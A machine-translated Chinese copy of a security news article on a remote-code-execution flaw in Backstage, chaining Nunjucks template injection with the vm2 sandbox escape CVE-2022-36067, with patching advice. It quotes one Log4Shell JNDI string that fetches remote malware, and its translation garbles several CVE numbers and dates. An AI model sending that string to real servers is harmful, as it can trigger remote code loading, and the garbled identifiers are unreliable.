流行的后台开发工具 PlatoBlockchain 数据智能中存在类似 Log4Shell 的代码执行漏洞。 垂直搜索。 人工智能。

流行的 Backstage 开发工具中类似 Log4Shell 的代码执行漏洞

云编码安全公司 Oxeye 的研究人员记录了他们最近在流行的云开发工具包 Backstage 中发现的一个严重错误。

他们的 报告 包括对错误工作原理的解释,以及展示如何利用它的概念验证 (PoC) 代码。

Backstage 是所谓的云开发人员门户——一种业务逻辑后端,可以轻松构建基于 Web 的 API(应用程序编程接口),以允许企业内外的编码人员与您的在线服务进行交互。

用项目本身的话来说,最初是在 Spotify 创建的,但现在 开源 在 GutHub 上:

Backstage 是一个用于构建开发人员门户的开放平台。 在集中式软件目录的支持下,Backstage 可以恢复您的微服务和基础设施的秩序,并使您的产品团队能够快速交付高质量的代码,而不会影响自主性。

Backstage 统一了您所有的基础设施工具、服务和文档,以创建一个端到端的简化开发环境。

不,我们也不知道这意味着什么,但我们知道该工具包是用 JavaScript 编写的,使用服务器端 JavaScript 系统运行 node.js,并从 NPM 生态系统中引入供应链依赖网络。

NPM 的缩写 节点包管理器,一个自动化工具包,用于确保您的后端 JavaScript 代码可以轻松使用范围广泛的开源库,这些库提供流行的、预先编写的帮助工具,适用于从密码学和数据库管理到日志记录和版本控制的所有内容。

远程执行代码

不幸的是,今天披露的漏洞如果未修复,可能会为未经身份验证的外部人员(松散地说,任何可以与您的服务器建立 API 连接的人)提供一种在您网络上的业务逻辑服务器内触发远程代码执行 (RCE) 的方法。

然而,幸运的是,如果我们正确地解释了 Oxeye 的文章,他们为 Backstage RCE 描述的攻击取决于一系列编码缺陷,这些缺陷最终取决于特定的错误,指定 CVE-2022-36067 在 Backstage 依赖的名为 vm2 的供应链组件中。

如果您想知道,vm2 是一个通用的 NPM 模块,它实现了一个“虚拟机沙箱”,旨在使具有潜在风险的 JavaScript 在您的服务器上运行更安全。

vm2022 中的 CVE-36067-2 错误是 报道 早在 2022 年 XNUMX 月由 Oxeye 本身(由于它突破了沙盒,它给它起了一个公关友好的名称“Sandbreak”),以及 及时修补 大约三个月前由 vm2 团队开发。

因此,据我们所知,如果您是 Backstage 用户,您需要确保已修补 Backstage 设置中的所有有风险的组件……

…但是如果你在几个月前修补了容易受到 Sandbreak 攻击的 vm2 组件,那么你似乎不会直接受到 Oxeye 最新披露中描述的漏洞的攻击。

此外,如果您的 Backstage 服务器按照良好的网络安全准则进行了配置,并且在网络边缘和网络内部都需要进行身份验证,那么您将不会面临来自“有用的”个人的随机“仅供研究人员使用”的探测风险表明他们对网络威胁“研究”感兴趣。

“Emmenthal 奶酪”攻击

简而言之,新披露的安全问题是一系列安全问题的副作用,例如如果攻击者能够在每片奶酪上至少排列一个孔,则可以依次渗透 Emmenthal 奶酪片上的孔。

据我们了解,Backstage 包括一个名为 Scaffolder 的组件,顾名思义,它可以帮助您管理您的开发人员社区可能想要或需要的各种插件(称为插件)。

反过来,Scaffolder 使用了来自 Mozilla 的消息记录系统,称为 Nunjucks,其中包括所谓的 字符串模板 in node.js 圈子,作为 字符串插值 在 Java 世界中,作为 字符串替换 给使用 Bash 等命令 shell 的系统管理员。

如果字符串插值敲响了警钟,那可能是因为它位于 Log4Shell 回到 2021 年 XNUMX 月的漏洞,以及 福利纳 2022 年中期的错误。

在这里,您可以根据字符串模板中的特殊“编码字符”重写日志消息的内容,以便像这样的字符串 $USER 可能会替换为服务器正在使用的帐户名,或者 ${PID} 可能会检索当前进程 ID。

在 Log4Shell 的极端情况下,看起来很奇怪的咒语 ${jndi:ldap://example.com:8888/malware} 可以直接诱骗服务器下载一个名为 malwareexample.com 并在后台静默运行它。

换句话说,您需要绝对确定来自不受信任来源(例如外部用户)的数据绝不会盲目地传递到要使用的字符串模板或字符串插值函数中 作为模板文本本身.

例如,如果远程用户试图通过将他们的用户名作为 ${{RISKY}} (假设模板库使用 ${{...}} 作为它的特殊标记),您需要确保您的日志记录代码将正确地记录收到的那些看似顽皮的文本......

...而不是让被记录的文本控制记录功能本身!

用一首古老的童谣的话来说,你需要确保自己不会唱完,“我的脑袋有个洞 ${{BUCKET}}, 亲爱的 Liza, 亲爱的 Liza, 我的身上有个洞 ${{BUCKET}},亲爱的丽莎。 一个洞!”

包裹在安全毯中

公平地说,Nunjucks 可能过于强大的模板/插值功能被 Backstage 包裹在另一个供应链组件中,即前面提到的沙盒系统 vm2,它应该限制恶意用户可能使用诱饵的危险-捕获的输入数据。

不幸的是,Oxeye 研究人员能够将他们在 Backstage + Scaffolder + Nunjucks 中新发现的字符串模板代码触发路径与 vm2022 安全包装器中较旧的 CVE-36067-2 漏洞配对,以便在 Backstage 服务器上实现潜在的远程代码执行.

怎么办呢?

如果您是 Backstage 用户:

  • 确保您拥有最新版本的 Backstage 及其依赖项, 包括 plugin-scaffolder-backend 零件。 根据 Oxeye 的说法,Backstage 代码中的相关错误已于 01 年 2022 月 2022 日修补,因此该数据之后的任何官方点发布都应包含修复程序。 在撰写本文时 [11-1-16T00:XNUMXZ],其中包括后台 1.6.0, 1.7.01.8.0,分别于 2022-09-21、2022-10-18 和 2022-11-15 发布。
  • 检查您的 Backstage 安装是否按预期配置了身份验证。 Oxeye 声称默认情况下身份验证是关闭的,并且在遵循 后台指引,后端服务器(可能无论如何都不应该暴露在外部)仍然允许未经身份验证的访问。 这可能是您想要的,但我们建议使用此问题作为检查您的设置是否符合您的意图的原因。
  • 检查可以从 Internet 访问 Backstage 基础结构的哪些部分。 再一次,将此问题作为从外部扫描您自己的网络的理由(如果您最近没有这样做的话)。

如果你是 node.js/NPM 用户:

  • 确保您拥有最新版本的 vm2 沙箱组件。 您可以将此安装为您使用的其他软件的依赖项,即使您没有 Backstage。 CVE-2022-36067漏洞已于2022-08-28修复,所以要vm2版本 3.9.11 或更高版本。

如果你是程序员:

  • 在调用强大的日志记录函数时尽可能地防御。 如果您使用的日志服务(包括 Nunjucks 或 Log4J)包含强大的模板/插值功能,请关闭您不需要的任何功能,以免它们被错误利用。 确保不受信任的输入本身永远不会用作模板,从而防止攻击者直接滚动他们自己的危险输入字符串。
  • 无论是否采取了任何其他预防措施,都要清理您的日志记录输入和输出。 请记住,将来其他人需要打开您的日志文件。 不要让任何无意中的陷阱写入您的日志文件,它们可能会在以后引起麻烦,例如带有脚本标签的 HTML 片段。(有人可能会错误地在浏览器中打开文件。)

即使当您收到来自可信来源的输入时,也几乎没有任何理由不在您使用它之前通过您自己的消毒检查。

(您有时可能会证明例外是合理的,例如出于性能原因,但它应该是例外,而不是规则。)

首先,再次检查可以帮助您发现以前的编码人员可能善意犯下的错误; 其次,如果您的生态系统的某些其他部分受到损害,它有助于限制不良或诱杀数据的传播。

我们之前提到的那些埃门塔尔奶酪片的问题是,尽管如果每张纸上至少有一个孔排成一行,它们是可以渗透的……

……如果至少有一张纸上的孔根本没有对齐,它们就是不透水的!


时间戳记:

更多来自 裸体安全